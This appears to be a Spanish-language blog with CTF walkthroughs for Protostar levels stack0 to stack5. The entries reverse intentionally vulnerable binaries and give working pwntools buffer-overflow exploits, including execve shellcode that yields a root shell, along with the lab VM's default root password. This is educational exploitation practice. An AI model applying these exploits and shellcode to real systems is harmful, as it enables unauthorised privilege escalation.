Pages

domingo, 29 de julio de 2018

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos:

dpc@kernelinside:~/protostar/bin$ ./stack5
test
dpc@kernelinside:~/protostar/bin$

radare2 al rescate:

dpc@kernelinside:~/protostar/bin$ r2 ./stack5
 -- You need some new glasses
[0x08048310]> aas
[0x08048310]> e asm.bytes=false
[0x08048310]> iz

[0x08048310]> afl
0x08048000   23 712  -> 717  segment.LOAD0
0x08048114   19 436  -> 440  segment.INTERP
0x080482c8    1 12           fcn.080482c8
0x080482d8    1 6            loc.imp.__gmon_start
0x080482e8    1 6            sym.imp.gets
0x080482f8    1 6            sym.imp.__libc_start_main
0x08048310    1 33           sym._start
0x08048340    6 85           sym.__do_global_dtors_aux
0x080483a0    4 35           sym.frame_dummy
0x080483c4    1 23           sym.main
0x080483e0    1 5            sym.__libc_csu_fini
0x080483f0    4 90           sym.__libc_csu_init
0x0804844a    1 4            sym.__i686.get_pc_thunk.bx
0x08048450    4 42           sym.__do_global_ctors_aux
0x0804847c    1 28           sym._fini
0x08048498    1 12           obj._fp_hw

Esta vez sin strings interesantes ni otras funciones locales que ejecutar. ¿Por qué no? Ejecutaremos código arbitrario:

[0x08048310]> s main
[0x080483c4]> pdf
|           ;-- main:
/ (fcn) sym.main 23
|   sym.main ();
|           ; var int local_10h @ esp+0x10
|           ; DATA XREF from sym._start (0x8048327)
|           0x080483c4      push ebp
|           0x080483c5      mov ebp, esp
|           0x080483c7      and esp, 0xfffffff0
|           0x080483ca      sub esp, 0x50                              ; 'P'
|           0x080483cd      lea eax, [local_10h]                       ; 0x10 ; 16
|           0x080483d1      mov dword [esp], eax
|           0x080483d4      call sym.imp.gets                          ; char *gets(char *s)
|           0x080483d9      leave
\           0x080483da      ret

El payload, como siempre, se lee desde la entrada estándar. Para averiguar el offset hasta la dirección de retorno guardada utilizaremos el mismo método que en ./stack4:

1. Reabriremos ./stack5 en modo debug
2. Pondremos un breakpoint db justo después de la llamada a gets()
3. Continuamos la ejecución dc, metemos un string de prueba y el programa se detendrá
4. Escribimos en el buffer un patrón con el algoritmo De Bruijn Pattern wopD
5. Continuamos la ejecución dc y se producirá una violación de segumento con el registro EIP apuntando a un valor contenido dentro del patrón
6. Finalmente averiguamos el offset de este valor mediante wopO

Veamos:

[0x080483c4]> ood
Process with PID 4696 started...
File dbg:///home/dpc/protostar/bin/stack5  reopened in read-write mode
= attach 4696 4696
4696
[0xf7fd6c70]> db 0x080483d9
[0xf7fd6c70]> dc
test
hit breakpoint at: 80483d9
[0x080483d9]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr]   Write a De Bruijn Pattern of length 'len' at address 'addr'
| wopD* len [@ addr]  Show wx command that creates a debruijn pattern of a specific length
| wopO value          Finds the given value into a De Bruijn Pattern at current offset
[0x080483d9]> wopD 128 @ esp+0x10
[0x080483d9]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41614141 code=1 ret=0
[0x41614141]> wopO eip
76

Sabemos que la estructura de nuestro payload será la siguiente:

[     76 bytes     ][ret][ nops ][   shellcode   ]

Para el shellcode haremos uso del módulo shellcraft de pwntools. Este consistirá en dos llamadas a setregid() y setreuid() para recuperar los permisos de root y finalmente la ejecución de /bin/sh. pwntools nos permite hacer algo tan sencillo como esto:

shellcode  = shellcraft.i386.linux.setregid()
shellcode += shellcraft.i386.linux.setreuid()
shellcode += shellcraft.i386.linux.sh()
shellcode  = asm(shellcode)

Lo que se traducirá en un código tal que así:

    /*  getegid */
    /* call getegid() */
    push SYS_getegid /* 0x32 */
    pop eax
    int 0x80
    mov ebx, eax

    /*  setregid(eax, eax) */
    /* call setregid('ebx', 'ebx') */
    push SYS_setregid /* 0x47 */
    pop eax
    mov ecx, ebx
    int 0x80
    /*  geteuid */
    /* call geteuid() */
    push SYS_geteuid /* 0x31 */
    pop eax
    int 0x80
    mov ebx, eax

    /*  setreuid(eax, eax) */
    /* call setreuid('ebx', 'ebx') */
    push SYS_setreuid /* 0x46 */
    pop eax
    mov ecx, ebx
    int 0x80
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

Por último solo nos queda averiguar con qué dirección sobreescribiremos EIP. Por supuesto no queremos andar adivinando offsets en el stack (los días de Aleph One fueron bonitos, pero esto es el futuro :P), de modo que localizaremos la dirección de una instrucción jmp esp, que como ya sabemos conduce hasta nuestro shellcode.

pwntools nos facilita de nuevo la tarea, podemos obtener del proceso en ejecución un handle hacia la libc y usar el comando search sobre el mismo para buscar la instrucción deseada:

p.libc.search(asm('jmp esp')).next()

Nota: Este método solo es portable en exploits locales.

Ahora sí, mostraremos el exploit completo:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack5"

shellcode  = shellcraft.i386.linux.setregid()
shellcode += shellcraft.i386.linux.setreuid()
shellcode += shellcraft.i386.linux.sh()
shellcode  = asm(shellcode)

padding = "A"*76
nops    = "\x90"*32

def exploit():
    p = process(context.binary.path)
    jmp_esp = p.libc.search(asm('jmp esp')).next()
    log.info("jmp esp: 0x%x" % jmp_esp)
    payload = padding + p32(jmp_esp) + nops + shellcode
    log.info("Exploiting...")
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exploit()

Y el resultado:

dpc@kernelinside:~/protostar/bin$ python exp_stack5.py 
[*] '/home/dpc/protostar/bin/stack5'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack5': pid 4855
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] jmp esp: 0xf7ddbb51
[*] Exploiting...
[*] Switching to interactive mode
$ whoami
root
$ id
uid=0(root) gid=1001(dpc) groups=1001(dpc),27(sudo)

Pwned!

Protostar CTF - stack4

El binario ./stack4, al igual que ./stack3, se muestra muy tímido ante nuestra llegada:

dpc@kernelinside:~/protostar/bin$ ./stack4
test
dpc@kernelinside:~/protostar/bin$ 

radare2 estás ahí?

dpc@kernelinside:~/protostar/bin$ r2 ./stack4
[0x08048340]> aas
[0x08048340]> e asm.bytes=false
[0x08048340]> iz
000 0x000004e0 0x080484e0  30  31 (.rodata) ascii code flow successfully changed
[0x08048340]> afl
0x08048000   23 748  -> 749  segment.LOAD0
0x08048114   19 472          segment.INTERP
0x080482ec    1 12           fcn.080482ec
0x080482fc    1 6            loc.imp.__gmon_start
0x0804830c    1 6            sym.imp.gets
0x0804831c    1 6            sym.imp.__libc_start_main
0x0804832c    1 6            sym.imp.puts
0x08048340    1 33           sym._start
0x08048370    6 85           sym.__do_global_dtors_aux
0x080483d0    4 35           sym.frame_dummy
0x080483f4    1 20           sym.win
0x08048408    1 23           sym.main
0x08048420    1 5            sym.__libc_csu_fini
0x08048430    4 90           sym.__libc_csu_init
0x0804848a    1 4            sym.__i686.get_pc_thunk.bx
0x08048490    4 42           sym.__do_global_ctors_aux
0x080484bc    1 28           sym._fini
0x080484d8    6 44           obj._fp_hw

¿Acaso es este reto una copia de ./stack3? En todo caso ya no hay strings que hablen acerca de function pointers o algo por el estilo. Vamos a comprobarlo:

[0x08048340]> s main
[0x08048408]> pdf
|           ;-- main:
/ (fcn) sym.main 23
|   sym.main ();
|           ; var int local_10h @ esp+0x10
|           ; DATA XREF from sym._start (0x8048357)
|           0x08048408      push ebp
|           0x08048409      mov ebp, esp
|           0x0804840b      and esp, 0xfffffff0
|           0x0804840e      sub esp, 0x50                              ; 'P'
|           0x08048411      lea eax, [local_10h]                       ; 0x10 ; 16
|           0x08048415      mov dword [esp], eax
|           0x08048418      call sym.imp.gets                          ; char *gets(char *s)
|           0x0804841d      leave
\           0x0804841e      ret

Y eso es todo! gets() recibe datos sin control que van a parar al buffer en local_10h. Entonces, ¿cómo redirigimos el flujo de control hacia win()? Como ya habrás adivinado, no hay más que sobreescribir la dirección de retorno guardada por la función que llamó main() que en este caso fué _start().

Ahora debemos calcular el offset hasta la dirección de retorno. Para ello aprovecharemos los comandos wopD y wopO de radare2, que nos facilitan la creación de patrones de longitud arbitraria tal y como en su día hacíamos con pattern_create y pattern_offset de la suite metasploit. Estos son los pasos a seguir:

1. Reabriremos ./stack4 en modo debug
2. Pondremos un breakpoint db justo después de la llamada a gets()
3. Continuamos la ejecución dc, metemos un string de prueba y el programa se detendrá
4. Escribimos en el buffer un patrón con el algoritmo De Bruijn Pattern wopD
5. Continuamos la ejecución dc y se producirá una violación de segumento con el registro EIP apuntando a un valor contenido dentro del patrón
6. Finalmente averiguamos el offset de este valor mediante wopO


Tal que así:

[0x08048408]> ood
Process with PID 4719 started...
File dbg:///home/dpc/protostar/bin/stack4  reopened in read-write mode
= attach 4719 4719
4719
[0xf7fd6c70]> db 0x0804841d
[0xf7fd6c70]> dc
test
hit breakpoint at: 804841d
[0x0804841d]> wopD 128 @ esp+0x10
[0x0804841d]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41614141 code=1 ret=0
[0x41614141]> wopO eip
76

Ya podemos codificar el exploit para la ocasión:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack4"

padding  = "A"*76
win_addr = 0x080483f4

def exploit():
    payload = padding + p32(win_addr)
    p = process(context.binary.path)
    p.sendline(payload)
    print(p.recv())

if __name__ == "__main__":
    exploit()

Y colorín colorado...

dpc@kernelinside:~/protostar/bin$ python exp_stack4.py 
[*] '/home/dpc/protostar/bin/stack4'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack4': pid 1942
code flow successfully changed

[*] Stopped process '/home/dpc/protostar/bin/stack4' (pid 1942)

Pwned!

Protostar CTF - stack3

Como de costumbre comenzamos ejecutando el binario vulnerable en busca de alguna pista en su comportamiento:

dpc@kernelinside:~/protostar/bin$ ./stack3
test
dpc@kernelinside:~/protostar/bin$ 

La entrada proviene de stdin, pero ahora ya no hay chico malo para confirmar los resultados. Suerte que a radare2 no se le escapa nada:

dpc@kernelinside:~/protostar/bin$ r2 ./stack3
[0x08048370]> aas
[0x08048370]> e asm.bytes=false
[0x08048370]> iz
000 0x00000540 0x08048540  30  31 (.rodata) ascii code flow successfully changed
001 0x00000560 0x08048560  44  45 (.rodata) ascii calling function pointer, jumping to 0x%08x\n

Si las pistas no mienten, parece que un puntero a función es llamado en algún momento y que existe la posibilidad de sobreescribir este y redirigir el flujo de ejecución. Preguntemos a r2 dónde se utiliza el string de chico bueno:

[0x08048370]> axt 0x08048540
sym.win 0x804842a [DATA] mov dword [esp], str.code_flow_successfully_changed
[0x08048370]> axt sym.win
[0x08048370]> pdf @ sym.win
/ (fcn) sym.win 20
|   sym.win ();
|           0x08048424      push ebp
|           0x08048425      mov ebp, esp
|           0x08048427      sub esp, 0x18
|           0x0804842a      mov dword [esp], str.code_flow_successfully_changed ; [0x8048540:4]=0x65646f63 ; "code flow successfully changed"
|           0x08048431      call sym.imp.puts                          ; int puts(const char *s)
|           0x08048436      leave
\           0x08048437      ret

win() no se llama desde ninguna parte del binario, ese es nuestro objetivo.

[0x08048370]> afl
...
0x08048424    1 20           sym.win
0x08048438    3 65           sym.main
...

Veamos main():

[0x08048370]> s main
[0x08048438]> pdf
|           ;-- main:
/ (fcn) sym.main 65
|   sym.main ();
|           ; var int local_4h @ esp+0x4
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_5ch @ esp+0x5c
|           ; DATA XREF from sym._start (0x8048387)
|           0x08048438      push ebp
|           0x08048439      mov ebp, esp
|           0x0804843b      and esp, 0xfffffff0
|           0x0804843e      sub esp, 0x60                              ; '`'
|           0x08048441      mov dword [local_5ch], 0
|           0x08048449      lea eax, [local_1ch]                       ; 0x1c ; 28
|           0x0804844d      mov dword [esp], eax
|           0x08048450      call sym.imp.gets                          ; char *gets(char *s)

local_5c que ahora parece ser nuestro function pointer fcn_ptr se establece a NULL. Luego gets() recoge los datos de entrada en el buffer local_1ch.

|           0x08048455      cmp dword [local_5ch], 0
|       ,=< 0x0804845a      je 0x8048477
|       |   0x0804845c      mov eax, str.calling_function_pointer__jumping_to_0x_08x ; 0x8048560 ; "calling function pointer, jumping to 0x%08x\n"
|       |   0x08048461      mov edx, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|       |   0x08048465      mov dword [local_4h], edx
|       |   0x08048469      mov dword [esp], eax
|       |   0x0804846c      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x08048471      mov eax, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|       |   0x08048475      call eax
|       `-> 0x08048477      leave
\           0x08048478      ret

Si fcn_ptr != NULL se invoca la función apuntada por este y el programa finaliza. La única forma de que fcn_ptr sea distinto de NULL es, como siempre, desbordando el buffer que le precede (64 bytes) y sobreescribiendo su contenido. Ya hemos visto que la dirección de win() es 0x08048424, con lo que ya disponemos de todos los ingredientes para un exploit infalible:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack3"

padding  = "A"*64
win_addr = 0x08048424

def exploit():
        payload = padding + p32(win_addr)
        p = process(context.binary.path)
        p.sendline(payload)
        print(p.recv())

if __name__ == "__main__":
        exploit()

Ta ta ta chán...

dpc@kernelinside:~/protostar/bin$ python exp_stack3.py 
[*] '/home/dpc/protostar/bin/stack3'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack3': pid 1820
[*] Process '/home/dpc/protostar/bin/stack3' stopped with exit code 31 (pid 1820)
calling function pointer, jumping to 0x08048424
code flow successfully changed

Pwned!

Protostar CTF - stack2

Esta vez, ./stack2 explora otras fuentes de entrada como las variables de entorno que recibe el proceso:

dpc@kernelinside:~/protostar/bin$ ./stack2
stack2: please set the GREENIE environment variable

Podemos comprobar con ltrace si efectivamente la variable de entorno GREENIE es leída por ./stack2:

dpc@kernelinside:~/protostar/bin$ ltrace ./stack2
__libc_start_main(0x8048494, 1, 0xfff1cb94, 0x8048530 <unfinished ...>
getenv("GREENIE")                                     = nil
errx(1, 0x80485e8, 0, 0x4c5c2c00stack2: please set the GREENIE environment variable

Bien. Ahora r2 nos revelará cuál es el destino del contenido de dicha variable y si el input puede explotar algún fallo de programación:

dpc@kernelinside:~/protostar/bin$ r2 ./stack2
 -- Don't do this.
[0x080483e0]> aas
[0x080483e0]> e asm.bytes=false
[0x080483e0]> iz
000 0x000005e0 0x080485e0   7   8 (.rodata) ascii GREENIE
001 0x000005e8 0x080485e8  44  45 (.rodata) ascii please set the GREENIE environment variable\n
002 0x00000618 0x08048618  40  41 (.rodata) ascii you have correctly modified the variable
003 0x00000641 0x08048641  26  27 (.rodata) ascii Try again, you got 0x%08x\n
[0x080483e0]> afl
0x08048000   32 860  -> 861  segment.LOAD0
0x08048114   27 584  -> 631  segment.INTERP
0x0804835c    1 12           fcn.0804835c
0x0804836c    1 6            loc.imp.__gmon_start
0x0804837c    1 6            sym.imp.getenv
0x0804838c    1 6            sym.imp.__libc_start_main
0x0804839c    1 6            sym.imp.strcpy
0x080483ac    1 6            sym.imp.printf
0x080483bc    1 6            sym.imp.errx
0x080483cc    1 6            sym.imp.puts
0x080483e0    1 33           sym._start
0x08048410    6 85           sym.__do_global_dtors_aux
0x08048470    4 35           sym.frame_dummy
0x08048494    6 128          main
0x08048520    1 5            sym.__libc_csu_fini
0x08048530    4 90           sym.__libc_csu_init
0x0804858a    1 4            sym.__i686.get_pc_thunk.bx
0x08048590    4 42           sym.__do_global_ctors_aux
0x080485bc    1 28           sym._fini
0x080485d8   21 137  -> 139  obj._fp_hw

Hasta aquí todo huele como en ./stack1. Nos situamos en main() y desensamblamos la función:

[0x080483e0]> s main
[0x08048494]> pdf
/ (fcn) main 128
|   main ();
|           ; var int local_4h @ esp+0x4
|           ; var int local_18h @ esp+0x18
|           ; var int local_58h @ esp+0x58
|           ; var int local_5ch @ esp+0x5c
|           ; DATA XREF from sym._start (0x80483f7)
|           0x08048494      push ebp
|           0x08048495      mov ebp, esp
|           0x08048497      and esp, 0xfffffff0
|           0x0804849a      sub esp, 0x60                              ; '`'
|           0x0804849d      mov dword [esp], str.GREENIE               ; [0x80485e0:4]=0x45455247 ; "GREENIE"
|           0x080484a4      call sym.imp.getenv                        ; char *getenv(const char *name)
|           0x080484a9      mov dword [local_5ch], eax
|           0x080484ad      cmp dword [local_5ch], 0
|       ,=< 0x080484b2      jne 0x80484c8
|       |   0x080484b4      mov dword [local_4h], str.please_set_the_GREENIE_environment_variable ; [0x80485e8:4]=0x61656c70 ; "please set the GREENIE environment variable\n"
|       |   0x080484bc      mov dword [esp], 1
|       |   0x080484c3      call sym.imp.errx

getenv() lee el contenido de la variable de entorno GREENIE y guarda un puntero hacia el mismo en local_5ch, al que llamaremos greenie_ptr. En caso de error se imprime un error y el proceso finaliza. Si todo ha ido bien seguimos aquí:

|       `-> 0x080484c8      mov dword [local_58h], 0
|           0x080484d0      mov eax, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|           0x080484d4      mov dword [local_4h], eax
|           0x080484d8      lea eax, [local_18h]                       ; 0x18 ; 24
|           0x080484dc      mov dword [esp], eax
|           0x080484df      call sym.imp.strcpy                        ; char *strcpy(char *dest, const char *src)

La variable local_58h (canary) se establece a 0 y luego se llama a strcpy(), que copiará el contenido de la variable de entorno GREENIE en local_18h (buffer).

|           0x080484e4      mov eax, dword [local_58h]                 ; [0x58:4]=-1 ; 'X' ; 88
|           0x080484e8      cmp eax, 0xd0a0d0a
|       ,=< 0x080484ed      jne 0x80484fd
|       |   0x080484ef      mov dword [esp], str.you_have_correctly_modified_the_variable ; [0x8048618:4]=0x20756f79 ; "you have correctly modified the variable"
|       |   0x080484f6      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x080484fb      jmp 0x8048512

Si el canary coincide con la constante 0xd0a0d0a habemus chico bueno, sino...

|      |`-> 0x080484fd      mov edx, dword [local_58h]                 ; [0x58:4]=-1 ; 'X' ; 88
|      |    0x08048501      mov eax, str.Try_again__you_got_0x_08x     ; 0x8048641 ; "Try again, you got 0x%08x\n"
|      |    0x08048506      mov dword [local_4h], edx
|      |    0x0804850a      mov dword [esp], eax
|      |    0x0804850d      call sym.imp.printf                        ; int printf(const char *format)
|      |    ; CODE XREF from main (0x80484fb)
|      `--> 0x08048512      leave
\           0x08048513      ret

El proceso lo siente mucho pero debemos volver a intentarlo.

El uso de strcpy() vuelve a ser inapropiado, pues el programador no ha previsto la posibilidad de que el contenido de la variable de entorno GREENIE exceda la capacidad del buffer (64 bytes) donde este se copirá, con el consecuente desbordamiento y sobreescritura de datos en el stack. El exploit se muestra a continuación:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack2"

padding = "A"*64
canary  = 0xd0a0d0a

def exploit():
    payload = padding + p32(canary)
    p = process(argv=[context.binary.path], env={"GREENIE":payload})
    print(p.recv())

if __name__ == "__main__":
    exploit()

La suerte sonrie a los valientes:

dpc@kernelinside:~/protostar/bin$ python ./exp_stack2.py 
[*] '/home/dpc/protostar/bin/stack2'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack2': pid 1758
[*] Process '/home/dpc/protostar/bin/stack2' stopped with exit code 41 (pid 1758)
you have correctly modified the variable

Pwned!

Protostar CTF - stack1

El binario ./stack1 es idéntico a ./stack0 salvo por algunas pequeñas diferencias, veamos cuáles:

dpc@kernelinside:~/protostar/bin$ ./stack1 test
Try again, you got 0x00000000

Esta vez ./stack1 recibe la entrada mediante un argumento y no desde stdin como en el reto anterior. Además, el mensaje de chico bueno nos indica un valor en hexadecimal, que intuimos es el que actualmente tiene la variable canary que ya vimos en ./stack0. Procedemos con radare2:

dpc@kernelinside:~/protostar/bin$ r2 ./stack1
 -- This computer has gone to sleep.
[0x080483b0]> aas
[0x080483b0]> e asm.bytes=false
[0x080483b0]> iz
000 0x000005a0 0x080485a0  27  28 (.rodata) ascii please specify an argument\n
001 0x000005bc 0x080485bc  54  55 (.rodata) ascii you have correctly got the variable to the right value
002 0x000005f3 0x080485f3  26  27 (.rodata) ascii Try again, you got 0x%08x\n

Ningún mensaje misterioso por el momento.

[0x080483b0]> afl
0x08048000   25 824  -> 826  segment.LOAD0
0x08048114   21 548  -> 549  segment.INTERP
0x08048338    1 12           fcn.08048338
0x08048348    1 6            loc.imp.__gmon_start
0x08048358    1 6            sym.imp.__libc_start_main
0x08048368    1 6            sym.imp.strcpy
0x08048378    1 6            sym.imp.printf
0x08048388    1 6            sym.imp.errx
0x08048398    1 6            sym.imp.puts
0x080483b0    1 33           sym._start
0x080483e0    6 85           sym.__do_global_dtors_aux
0x08048440    4 35           sym.frame_dummy
0x08048464    6 115          main
0x080484e0    1 5            sym.__libc_csu_fini
0x080484f0    4 90           sym.__libc_csu_init
0x0804854a    1 4            sym.__i686.get_pc_thunk.bx
0x08048550    4 42           sym.__do_global_ctors_aux
0x0804857c    1 28           sym._fini
0x08048598   23 124  -> 130  obj._fp_hw

Efectivamente, de nuevo solo main() como objetivo principal:

[0x080483b0]> s main
[0x08048464]> pdf
/ (fcn) main 115
|   main (int arg_8h, int arg_ch);
|           ; arg int arg_8h @ ebp+0x8
|           ; arg int arg_ch @ ebp+0xc
|           ; var int local_4h @ esp+0x4
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_5ch @ esp+0x5c
|           ; DATA XREF from sym._start (0x80483c7)
|           0x08048464      push ebp
|           0x08048465      mov ebp, esp
|           0x08048467      and esp, 0xfffffff0
|           0x0804846a      sub esp, 0x60                              ; '`'
|           0x0804846d      cmp dword [arg_8h], 1                      ; [0x1:4]=-1 ; 1
|       ,=< 0x08048471      jne 0x8048487
|       |   0x08048473      mov dword [local_4h], str.please_specify_an_argument ; [0x80485a0:4]=0x61656c70 ; "please specify an argument\n"
|       |   0x0804847b      mov dword [esp], 1
|       |   0x08048482      call sym.imp.errx

Se comprueba si arg_8h (argc) es distinto de 1, en caso contrario se imprime un mensaje de error. Sino, sigue así:

|       `-> 0x08048487      mov dword [local_5ch], 0
|           0x0804848f      mov eax, dword [arg_ch]                    ; [0xc:4]=-1 ; 12
|           0x08048492      add eax, 4
|           0x08048495      mov eax, dword [eax]
|           0x08048497      mov dword [local_4h], eax
|           0x0804849b      lea eax, [local_1ch]                       ; 0x1c ; 28
|           0x0804849f      mov dword [esp], eax
|           0x080484a2      call sym.imp.strcpy                        ; char *strcpy(char *dest, const char *src)

La variable local_5ch (canary) se establece a 0 y el argumento pasado al programa se copia mediante strcpy() en local_1ch (buffer).

|           0x080484a7      mov eax, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|           0x080484ab      cmp eax, 0x61626364                        ; 'dcba'
|       ,=< 0x080484b0      jne 0x80484c0

Se compara el valor del canary con la constante hexadecimal 0x61626364 (ascii "dcba"). En caso afirmativo hemos ganado:

|       |   0x080484b2      mov dword [esp], str.you_have_correctly_got_the_variable_to_the_right_value ; [0x80485bc:4]=0x20756f79 ; "you have correctly got the variable to the right value"
|       |   0x080484b9      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x080484be      jmp 0x80484d5

De ser distinto nos invitan a probar de nuevo:

|      |`-> 0x080484c0      mov edx, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|      |    0x080484c4      mov eax, str.Try_again__you_got_0x_08x     ; 0x80485f3 ; "Try again, you got 0x%08x\n"
|      |    0x080484c9      mov dword [local_4h], edx
|      |    0x080484cd      mov dword [esp], eax
|      |    0x080484d0      call sym.imp.printf                        ; int printf(const char *format)
|      |    ; CODE XREF from main (0x80484be)
|      `--> 0x080484d5      leave
\           0x080484d6      ret

Como vemos, la vulnerabilidad es idéntica a la de ./stack0, esta vez llamando a una función strcpy() sin control de límites. La diferencia es que ahora nos piden que modifiquemos el canary con un valor elegido por los creadores del reto, y recordando siempre que la arquitectura i386 es little-endian. Aquí el exploit:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack1"

padding = "A"*64
canary  = 0x61626364

def exploit():
    payload = padding + p32(canary)
    p = process(argv=[context.binary.path, payload])
    print(p.recv())

if __name__ == "__main__":
    exploit()

Lanzamos el script:

dpc@kernelinside:~/protostar/bin$ python ./exp_stack1.py 
[*] '/home/dpc/protostar/bin/stack1'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack1': pid 1636
[*] Process '/home/dpc/protostar/bin/stack1' stopped with exit code 55 (pid 1636)
you have correctly got the variable to the right value

Pwned!

Protostar CTF - stack0

Para la resolución de los distintos desafíos presentados en la máquina Protostar no haremos uso del código fuente disponible en la web oficial. Nuestro objetivo, como ya hicimos con la máquina Nebula, es presentar al lector un entorno lo más realista posible y desarrollar las habilidades que un bug hunter o reverse enginner necesita conocer en la práctica diaria.

Hay dos herramientas que constituirán nuestro principal arsenal a la hora de resolver los retos. Por un lado el famoso framework de reversing radare2 (y su conjunto de utilidades integradas), por otro lado contaremos con la librería pwntools para el desarrollo de exploits en Python, lo que facilitará y agilizará mucho nuestra tarea. Ambas herramientas son muy conocidas dentro del mundo de los CTF, por lo que el lector hará bien en estudiarlas en profundidad y estará listo para salir a darlo todo en la competición.

Realizaremos las fases de reversing y exploiting en nuestra propia Linux box actualizada y con todas las herramientas recién instaladas, para ello obtendremos una copia de todos los binarios mediante el comando scp del paquete SSH:

dpc@kernelinside:~/protostar$ scp -r protostar@192.168.56.101:/opt/protostar/bin/ .


    PPPP  RRRR   OOO  TTTTT  OOO   SSSS TTTTT   A   RRRR  
    P   P R   R O   O   T   O   O S       T    A A  R   R 
    PPPP  RRRR  O   O   T   O   O  SSS    T   AAAAA RRRR  
    P     R  R  O   O   T   O   O     S   T   A   A R  R  
    P     R   R  OOO    T    OOO  SSSS    T   A   A R   R 

          http://exploit-exercises.com/protostar                                                 

Welcome to Protostar. To log in, you may use the user / user account.
When you need to use the root account, you can login as root / godmode.

For level descriptions / further help, please see the above url.

protostar@192.168.56.101's password: 
final0                                            100%   54KB  29.8MB/s   00:00    
final1                                            100%   55KB  34.6MB/s   00:00    
final2                                            100%   78KB  40.8MB/s   00:00    
format0                                           100%   22KB  18.9MB/s   00:00    
format1                                           100%   22KB  30.2MB/s   00:00    
format2                                           100%   23KB  32.6MB/s   00:00    
format3                                           100%   23KB  30.7MB/s   00:00    
format4                                           100%   23KB  30.1MB/s   00:00    
heap0                                             100%   23KB  28.9MB/s   00:00    
heap1                                             100%   23KB  25.7MB/s   00:00    
heap2                                             100%   54KB  34.2MB/s   00:00    
heap3                                             100%   53KB  39.2MB/s   00:00    
net0                                              100%   54KB  35.0MB/s   00:00    
net1                                              100%   54KB  38.6MB/s   00:00    
net2                                              100%   54KB  38.2MB/s   00:00    
net3                                              100%   56KB  40.8MB/s   00:00    
net4                                              100%   53KB  38.2MB/s   00:00    
stack0                                            100%   22KB  31.9MB/s   00:00    
stack1                                            100%   23KB  31.6MB/s   00:00    
stack2                                            100%   23KB  29.3MB/s   00:00    
stack3                                            100%   23KB  32.7MB/s   00:00    
stack4                                            100%   22KB  27.5MB/s   00:00    
stack5                                            100%   22KB  32.4MB/s   00:00    
stack6                                            100%   23KB  32.1MB/s   00:00    
stack7                                            100%   23KB  33.0MB/s   00:00    

Ahora cambiamos el usuario y grupo de todos los ejecutables a root y también activamos el bit suid:

dpc@kernelinside:~/protostar/bin$ sudo chown root:root *
dpc@kernelinside:~/protostar/bin$ sudo chmod u+s *

Por último desactivaremos ASLR (mismas condiciones que las planteadas en la máquina Protostar) mediante:

dpc@kernelinside:~$ sudo sysctl kernel.randomize_va_space=0
kernel.randomize_va_space = 0
dpc@kernelinside:~$ cat /proc/sys/kernel/randomize_va_space 
0

Ya podemos comenzar a trabajar en cada reto en un entorno de desarrollo más cómodo e igual de realista. Hagamos honor al título de esta entrada y comencemos por ./stack0.

dpc@kernelinside:~/protostar/bin$ ./stack0
test
Try again?

Parece que ./stack0 recibe una cadena a través de stdin y luego imprime el mensaje de chico malo (bad boy en la jerga). Lanzamos r2 en busca de más información:

dpc@kernelinside:~/protostar/bin$ r2 ./stack0
[0x08048340]> aas
[0x08048340]> iI
arch     x86
binsz    22412
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       false
os       linux
pcalign  0
pic      false
relocs   true
relro    no
rpath    NONE
static   false
stripped false
subsys   linux
va       true

En todos los binarios vulnerables de la máquina Protostar se dan las siguientes condiciones:

canary   false
nx       false
pic      false
relro    no
